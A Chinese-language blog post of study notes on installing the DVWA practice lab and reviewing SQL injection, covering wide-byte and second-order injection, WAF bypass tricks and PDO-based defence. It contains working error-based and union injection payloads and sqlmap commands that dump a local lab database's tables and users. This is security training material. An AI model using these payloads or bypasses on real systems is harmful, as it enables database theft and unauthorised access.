【web安全】安装dvwa | sql注入复习

一、DVWA平台

1、打开phpstudy,新建一个网站,端口8080

2、将dvwa文件复制到网站根目录下

3、改config下的config.inc.php.dist文件

4、改文件名

5、创建数据库

6、出现登陆界面

密码admin密码password

7、解决phpstudy搭建好8080网站,能被同一局域网下其他主机访问到

80端口默认可以访问到,但是其他端口并未对外开放

1)打开win10(phpstudy所在主机),搜索“防火墙策略”

2)配置新的入站规则

3)用win2019去访问(同一局域网下其他主机)

二、sql基础复习笔记

1、sql注入的原理

服务端对用户输入的数据未做严格的检测或过滤,导致用户输入的恶意sql命令拼接到正常的sql中成功执行,造成数据的修改和窃取等损失

2、sql注入的本质

用户输入的数被当作代码执行

(违背了“数据与代码分离”的安全原则)

3、sql注入的两个关键

1)用户可控参数
2)传入的恶意sql可以被成功执行

4、sql手工注入的流程

1)寻找是否有注入点--->可能出现sql注入的位置

寻找存在注入的方式:通常是  单引号  测试对比页面回显判断

i.传参角度

(一)GET:url中,涉及url编码

(二)POST:

(三)HEAD:包括cookie、user-agent、x-forwarded-for(ip地址)

ii.业务点:与数据库交互的地方都有可能存在注入

(一)查询处:查询商品/新闻/留言等等

(二)登录处:用户登录

2)确定注入类型以及数据库版本(mysql5.0以上版本有 关键数据库information_schema)

(一)字符型注入:闭合引号(单、双)+小括号判断(几层小括号)

(二)数字型注入:小括号判断,几层小括号的确定

3)确定注入的方式

(一)union注入;包括order by
(二)报错注入:extractvalue和updatexml等函数,利用xpath路径错误报错
(三)盲注:时间盲注sleep函数、布尔盲注
(四)宽字节注入:(这节重点复习一下)
        i.魔术引号(php5.4以上删除了魔术引号)

magic_quotes_gpc魔术函数:php5.4以上就没有了!!自动在单引号、双引号、反斜杠、NULL之前加上反斜杠进行转义(转义就是使得该字符例如引号不会闭合sql语句,只是查询的一个正常字符而已,使得引号等字符可以带入数据库查询)

addslashes函数:一样的作用

        ii.宽字节注入原理

原理:大多数网站采用UTF-8编码,但是如果数据库采用GBK编码就会存在宽字节注入攻击

(理解为UTF-8是一种全世界通用语言得万国码,而中文编码是三个字节表示一个汉字

GBK是中文编码,是两个字节表示一个汉字;可以了解一下中文汉字编码,是从最开始的区位码衍生而来,就是类似于一个表格,由行号和列号确定一个汉字的编码,所以是两个字节表示一个汉字)

例如:输入1'

经过转义会转变成1\'

很明显我们注入就失败,但是由于GBK编码的存在我们可以输入1%df'

这时就会转义为1%df\',GBK中两个字节组成,当第一个字节处于0x81-0xFE时属于汉字范围,而0x81之前应该是兼容的ascii码等等字符(0x80就是128,刚好兼容128个ascii字符),因为0xdf属于这个范围,所以会结合第二个字节进行解析为中文,%df和反斜杠刚好编码出来是一个中文“莲”(好像是这个汉字,反正就是一个繁体中文吧,这个不重要)

从而解析成为了1莲',注入成功,下面贴一个sqli-labs的less32例子

其实在addslashes等函数出现后,由于引号被过滤,应该是很难注入字符型sql了,但是宽字节注入就是抓住编码不统一的漏洞,巧妙的闭合掉了通过函数或者魔术引号添加的引号从而注入成功,由于在查询时,sql有个特点(实验过),就是例如有一条id=1的记录,sql语句条件中写where id='1'和where id='1你'都能查询出来,就是感觉是匹配到了前面成功就能查询出来,所以宽字节可以成功

        iii.sqli-labs案例:less32-->以前做宽字节注入的部分笔记

Id=1回显正常

Id=1',引号被过滤addslashes函数,完蛋了哈哈哈咋办,我能想到的是宽字节

虽然看标题引号被过滤,还是走一下流程

即使闭合也不行,直接加反斜杠转义啦

宽字节注入:闭合反斜杠的选择0x81-0xfe都可以,习惯%df吧

有回显采用union,且回显位是2和3字段

爆表名

(五)二次注入(存储型注入):还是基于addslashes等转义函数的问题

二次注入的原理转义函数的反斜杠不会带入数据库中存储,而将这个数据带出使用时,没有做加反斜杠等处理导致sql注入

由于addslashes等转义函数的存在,我们输入的数据会加一个反斜杠对敏感数据进行转义,但是由于是转义,其目的只是做到不闭合sql中的引号,这个其实有点类似于计网数据链路层的透明传输的功能;本意也是做到数据库中允许存储引号等特殊字符,所以我们存入数据库时会去掉反斜杠进行存储,从攻击的层面来说,相当于脏数据已经存入了,而二次带出查询时,由于没有对这个引号进行处理,因为默认数据库的数据都是安全的

常见场景:修改密码、注册登录等等

其实就是在更改存储数据和需要引用该数据的地方

解决:貌似pdo预处理可以,后续了解一下

无论是外来的数据还是存储在数据库里的数据,默认不安全,也就是说一视同仁进行处理后再查询,例如进行addslashes等操作

举个例子:

插入数据时

insert into user values('1' and 1=2','77')

可以看到我们输入的是id带有单引号,但是会被转义即为1\' and 1=2#

存进去就是1‘ and 1=2#

但是带出查询不做任何处理例如

select * from users where id='1' and 1=2#'

就会存在注入啦

(六)堆叠注入

一次允许多条sql语句执行

(七)cookie、base64注入

cookie复习:

a) cookie是一个文本文件,存储在客户端的;主要是存储用户身份相关信息:每次请求网站就会自动带上cookie数据进行验证,使得我们就不用输入密码实现“自动登入”了

b) cookie就理解可以本地的一个存储容器吧,验证码也用到了cookie和session的知识

c) session就是解决cookie不安全的情况,把用户的身份等信息放在了服务端,通过session id去访问不同的session文件

cookie注入只是注入的位置在head头部而已没有什么特殊的

感觉出现了session技术后,cookie争对用户身份的注入很难实现了,因为session是根据session id在服务端查找文件名为sessionID的文件,而这个是随机生成的且长度也很长,很难猜到把

base64复习:一种编码

base64就是用64个可打印字符去表示二进制数据的方式,就是一种编码方式

(还有base32和base16等都是base系列:区别就是base64的字母有大小写和等号,base32和base16的字母是纯大写,其中base32有等号)

base64注入就是数据传输之前进行了一次base64编码,其他和寻常的注入无任何区别

其实cookie中如果有id=1等字段,如果服务端仅仅根据这个值去进行用户个人资源的返回的话,应该是存在越权漏洞的;后续的逻辑漏洞会详细讲

三、dvwa:sql手工注入

我们用kali打开,因为win10啥工具都没有装

手工注入只做到了爆数据,反弹shell暂时是用sqlmap做,后面去搞懂原理就ok

1、sql injection

1)security:low--->单引号型报错注入

输入id=1

输入id=1',页面报错

可以确定使用报错注入了,再确定一哈,id=1”回显正常说明外面就是单引号包裹的字符型注入,说明咱得用单引号去闭合,说明就是单引号字符型注入;

利用updatexml函数,先查看一下版本

1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#

(虽然是get型,但是我们这里是在表单上输入数据,所以不需要在意url编码问题,可以直接用#进行注释,但是如果我们直接在url栏中输入id=...就得关注一下url编码,即此时就只能--+进行注释,因为在url编码中#是有特殊用法的,且+解析为空格)

可以看出是mysql5.0以上,就可以利用information_schema数据库进行查询,这里示例一个

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables limit 0,1),0x7e),1)#

利用substr函数,和limit有点区别

1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables limit 0,1),1,15),0x7e),1)#

substr(参数1,参数2,参数3):
参数1是被分割的字符串
参数2是起始位置,区别于limit的第一个参数是0开头,该参数最小为1开头
参数3是截取的长度

每次截取15个字符,后面直接调制substr()的第二个参数为16,31,46....就可爆完

后面略

2)security:medium--->post数字型报错注入

先查看页面

burp抓包重放,输入id=1',报错

输入id=1“和id=1’一样报错,数字型注入,选择报错注入

通过id=1 and 1=1和id=1 and1=2验证,图略

报错注入:

id=1 and updatexml(1,concat(concat(0x7e,(select version()),0x7e)),1)&Submit=Submit

后续略

3)security:high------>post型单引号union注入

这一关简单写点

爆字段

说明只有两个字段

爆回显,都会回显

-1' union select 1,2#

爆数据

-1' union select 1,(select version())#

2、sql injection(blind)

1)security:low

2)security:medium

3)security:high

四、sqlmap使用:工具-->提高效率

1、sql injection

1)security:low(get型sqlmap使用)

首先使用常规的get型用法:寻找是否有注入点

sqlmap -u http://192.168.10.129:8080/vulnerabilities/sqli/?id=1&Submit=Submit# 

但是此时不行,因为这个dvwa网站需要登录,会跳转302到登陆页面,所以我们要带上cookie

sqlmap -u "http://192.168.10.129:8080/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PHPSESSID=0qadj834dgj2u2vdrmuva7kfd4;security=low" --batch  

查询数据库

sqlmap -u "http://192.168.10.129:8080/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PHPSESSID=0qadj834dgj2u2vdrmuva7kfd4;security=low" --batch --dbs   

查询数据表

sqlmap -u "http://192.168.10.129:8080/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PHPSESSID=0qadj834dgj2u2vdrmuva7kfd4;security=low" --batch -D dvwa --tables

查询列

sqlmap -u "http://192.168.10.129:8080/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PHPSESSID=0qadj834dgj2u2vdrmuva7kfd4;security=low" --batch -D dvwa -T users --columns

查询数据

sqlmap -u "http://192.168.10.129:8080/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PHPSESSID=0qadj834dgj2u2vdrmuva7kfd4;security=low" --batch -D dvwa -T users -C user --dump

查询用户

sqlmap -u "http://192.168.10.129:8080/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PHPSESSID=0qadj834dgj2u2vdrmuva7kfd4;security=low" --batch --users

反弹shell失败:--os-shell需要三个条件

2)security:medium(post型注入sqlmap使用)

法一:-r参数,得复制post包

点击submit抓包请求,然后抓包复制,将该文件放到kali中

sqlmap -r /home/kali/桌面/1.txt 

检测到存在注入

后面就直接爆数据,一样的使用--dbs等命令

sqlmap -r /home/kali/桌面/1.txt --dbs

sqlmap -r /home/kali/桌面/1.txt -D dvwa --tables 

后续略

法二:-u   --data参数指定提交的内容
sqlmap -u http://192.168.10.129:8080/vulnerabilities/sqli/# --cookie="PHPSESSID=0qadj834dgj2u2vdrmuva7kfd4;security=medium"  --data="id=1&Submit=submit" --dbs

后续略

2、sql injection(blind)

五、sql常见绕过总结

1、waf:web应用的防火墙--->针对HTTP、HTTPS

1)waf分类

软件waf、硬件waf、云waf、自定义waf

2)waf:就是集成了一些过滤规则

2、常见绕过

1)双写绕过:一些waf只对关键字进行一次匹配就很容易绕过

2)大小写绕过

3)编码绕过:url二次编码绕过,由于web容器会对收到的参数进行自动的url解码,如果一些程序使用了urldecode函数进行二次解码,那么就可能会存在编码绕过的情况

因为过滤参数是在第一次解码后,而恶意sql在二次解码后才“浮现”出来

流程是:自动解码-->过滤参数--->二次解码--->带入库执行

4)内联注释绕过

5)http参数污染(基于waf的一种错误):对于多个同名参数,waf检测的参数和最终web容器与脚本程序选择使用的参数不一致导致绕过

六、sql注入防御思路

1、过滤危险字符

例如正则表达式去匹配一些危险关键字例如and、union或者危险符号例如单引号等等

2、使用预编译语句pdo

pdo是一种参数化查询的方式,可以说是从“数据与代码分离”的原则出发进行防御;

但是实际上数据与代码分离就是对参数做足够的处理,使得其不会破坏原来的sql查询结构,这种处理通常包括转义特殊字符、确保数据类型的一致性以及其他必要的安全性措施。而这些操作都通过绑定函数来完成

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值